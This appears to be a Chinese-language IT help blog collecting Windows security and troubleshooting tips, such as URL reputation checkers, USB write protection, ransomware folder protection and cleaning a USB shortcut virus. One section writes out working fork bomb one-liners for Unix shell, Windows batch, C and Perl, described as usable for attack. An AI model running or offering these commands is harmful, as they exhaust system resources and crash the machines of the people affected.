3C健忘人 - 疑難排除不求人 - no more ask for IT help

型一(Type I):利用使用者已知之事(Something you know)，優點為簡單普通又低成本，缺點為密碼需儲存維護或可能使用不當，可能易受攻擊且易忘記．常見為密碼，個人身份碼(PIN)，口令(Passphrase)。 型二(Type II):利用使用者已有之物(Something you have)，優點為安全性高不易受攻擊，缺點為可能會遺失或被竊取，常見為智慧卡，實體RFID卡。 型三(Type III):利用使用者生物特徵(Something you are)，優點為不易忘也不易竊取或遺失，缺點為製作成本昂貴且有錯誤接受率與誤判拒絕率等問題，常見為指紋，掌紋或虹膜，近年有人臉辨識與步態辨識。         參考資料 樓霙，資通安全，2020

  Google  https://transparencyreport.google.com/safe-browsing/search?url=&hl=zh-tw ScamAdvisor https://www.scamadviser.com/ W3.org https://validator.w3.org/checklink Trendmicro https://global.sitesafety.trendmicro.com/index.php Dr. link check https://www.drlinkcheck.com/ Norton safe web https://safeweb.norton.com/ URL void https://www.urlvoid.com/ Symantec Bluecoat https://sitereview.bluecoat.com/#/ VirusTotal https://www.virustotal.com/gui/home/url abuseipdb https://www.abuseipdb.com/ down for everyone or just me https://downforeveryoneorjustme.com/

 常常會遇到在Excel與Word整理惡意網址與ip卻出現Excel與Word自動格式化這些惡意網址與超連結，而變成可以點擊的超連結，卻不小心去點擊到惡意網址或釣魚網址．可以利用以下方式消除自動(如下圖) Excel =>檔案=>選項=>校訂=>自動校正選項=>輸入時自動套用格式=>網際網路與網路路徑超連結 Word=>檔案=>選項=>校訂=>自動校正選項=>自動格式設定=>以超連結取代網際網路和網路路徑 Word=>檔案=>選項=>校訂=>自動校正選項=>輸入時自動套用格式=>以超連結取代網際網路和網路路徑

1. Search -> regedit.exe 2. My_Computer -> HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSt -> Control Add Key, name is StorageDevicePolicies and add DWORD under folder StorageDevicePolicies, its name is WriteProtect value is 1 (enable) 3. Reboot and copy a file to portable USB disk for testing, and it alarms write-protected and please remove protection mode 4. gpedit.msc Computer configuration -> Administrative Template -> All configuration  -> Removable Storage Write Access Refernces https://www.windowscentral.com/how-enable-write-protection-usb-devices-windows-10 https://www.lifewire.com/remove-write-protection-windows-10-8-7-4586905

http://www.zone-h.org/archive https://www.robtex.com references  https://owasp.org/www-project-top-ten/ https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=8452

近日勒索軟體攻擊頻繁，建議開啟Windows 10 安全性內的勒索軟體保護，以避免從網路下載的安裝程式或執行程式，進行加密寫入磁碟內資料夾的動作 1. 右下角盾牌形狀icon進入後，選擇畫面內下方管理勒索軟體防護 2. 開啟受控資寮夾存取權，隨後從網路下載的Filemora 9 會出現安裝失敗，因無法在 MyDocument產生  Wondershare Filmora 9資料夾，從網路下載之軟體確實無法寫入已被保護的資料夾Documents、Pictres、Videos、Music、Favorites 3. 選擇受保護資料夾，可加入自訂資料夾可免於被加密寫入

 在各種環境下，皆可使用該指令方式攻擊： 1. Unix-like Shell $ :(){:|:&};:    # $為命令提示字元，如同 fbomb(){fbomb|fbomb &}; forkbomb 2.  Windows > %0 | %0    # > 為命令提示字元 3. C with POSIX #include<unistd.h> int main(){ while(1)  // always true    fork(); return 0; } 4. Perl fork while fork 參考資料 https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9

先確認帳號擁有管理者權限： 1. 若安裝網路安全軟體，因避免常駐的軟體被關閉，而用管理者帳戶關閉工作管理員，出現錯誤訊息如圖一 2. 請利用指令 regedit.exe 開啟登陸檔編輯器，從以下路徑 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System 如圖二路徑來將 DisableTaskMgr 之數值變成 0  3. 使用指令 gpedit.msc ，開啟本機群組原則編輯器 -> 使用者設定 -> 系統管理範本 -> 系統 -> Ctrl + Alt+ Del 選想 -> 移除工作管理員-> 點擊滑鼠兩下 -> 設定 已停用 (如圖三) (圖一) (圖二) (圖三) 參考 https://support.microsoft.com/zh-tw/help/2665732

若隨身碟 F槽感染了隨身碟病毒，會把所有的資料夾變成 .lnk 的捷徑，並指向 F槽內的隱藏檔 csrss.exe(32bit)，來執行。所以要先刪除F槽內 csrss.exe(32bit) ，並且刪除所有的 .lnk 捷徑假資料夾(可在 MacOS 或 Linux 下做這些動作)。 接著我們要回復被隱藏與改成系統相關的資料夾，便要利用搜尋 -> cmd -> 以系統管理員身分執行。在提示字元輸入以下 ( # 後面為說明 )： C:\WINDOWS\system32>  F: # 上方轉到 F 槽 F:\>  attrib -H -S /S /D  * # 以上可對F 槽下所有檔案與資料夾去除 隱藏與系統檔案屬性 # 其他可參考 attrib /?，如下圖

若你的電腦中毒嚴重需要重新安裝，請記得下面幾項步驟 1. 先備份好你的重要文件。 2. 拔除網路線並將作業系統開機光碟放入光碟機。 3. 從光碟機開機進入作業系統安裝畫面後，利用安裝工具來將 C 磁碟重新分割，或 將其格式化(勿用快速格式化)。 4. 安裝好作業系統後，請先安裝防毒軟體(最好有含防火牆功能)。並更新Winodws Patch至最新，以防止如 Eternal Blue 類之綁架軟體攻擊或 Zero-day exploit。 5. 重開機後，依序安裝晶片組驅動程式 -> 顯示卡驅動程式 -> 網路卡驅動程式(可先上網更新最新的病毒碼及掃毒引擎)-> 音效卡驅動程式 -> 其他硬體裝置之驅動程式(藍芽、讀卡機、數據機等)。 6. 重開機後，再放入你欲安裝的應用軟體(如 Office、Acrobat Reader 等)。 7. 全部安裝完後，可利用休息時間將掃毒軟體啟動檢查電腦全部磁碟是否有感染，待檢測完就是確認無病毒機器了。 8. 後續最重要的事，是要記得要至少每個禮拜更新作業系統安全性，防毒軟體病毒碼及掃毒引擎，不要開啟來路不明的檔案或信件，這樣才能永保安康。

若您電腦突然遇到變慢或是CPU風扇突然轉速增快而產生噪音， 這時可以依照下列指示步驟一一排除。 1. 開啟工作管理員(鍵盤按下 Ctrl + Alt + Del)，在效能標籤內可以監控CPU使用率是否很高(接近100%)，記憶體是否接近滿格(實體記憶體中是否快使用完畢，是否已經使用到虛擬記憶體-硬碟)，並檢查電腦內軟體是否安裝過多，或剛安裝某些軟體(造成軟體間conflict)。Rootkit 型的病毒會隱藏 process ，故不會出現在 工作管理員taskmanager.exe 2. 若記憶體不足時，可先關閉工作管理員內處理程序裡是否有不明的執行檔，或是病毒檔(點擊一下後按結束處理程序)。或是可關閉桌面上應用程式，或是右下方icon的常駐程式(很多notebook會安裝很多常駐程式)。 3. 使用開始->執行->msconfig後可以看到啟動tab內有很多啟動時會載入記憶體的常駐程式，可以把不需要先取消打勾。(電腦病毒也可能常駐於這裡) 4. 設定確定後，重新開機，再重新啟動前，可先關閉電腦確認主機散熱是否正常(可以檢查主機內部是否有灰塵覆蓋過多)，若灰塵太重接著並著手清理(灰塵是電子產品的一個大殺手)。 5. 重開機完成後，若還是無法改善速度，可以在檢查網路設備是否正常，如有外接DHCP Server(如IP分享器)，可將其重開機，這樣可以改善為了蒐尋網路資訊來拖累電腦速度。 6. 再無法改善，可以用防毒軟體檢測電腦是否有電腦病毒，有可能為木馬，蠕蟲類型或巨集型常駐於某個開機執行檔。所以請做全機掃瞄(可能會花幾十分鐘至幾小時不等) 7. 此軟體系統部分的檢測，若亦無法改善作業系統速度突然變慢，此時可檢查硬碟是否壞軌(會發出喀拉喀拉異音)，記憶體是否體質不良(易出現藍幕錯誤畫面)，CPU是否過熱(出現緩慢接著變成藍幕錯誤畫面)等，這些都可經由個別判斷出。 8. 執行 services.msc 啟動服務管理，看是否有被植入常駐的惡意服務 9. 檢查Windows工作排程器，看是否有被植入不相干之排程工作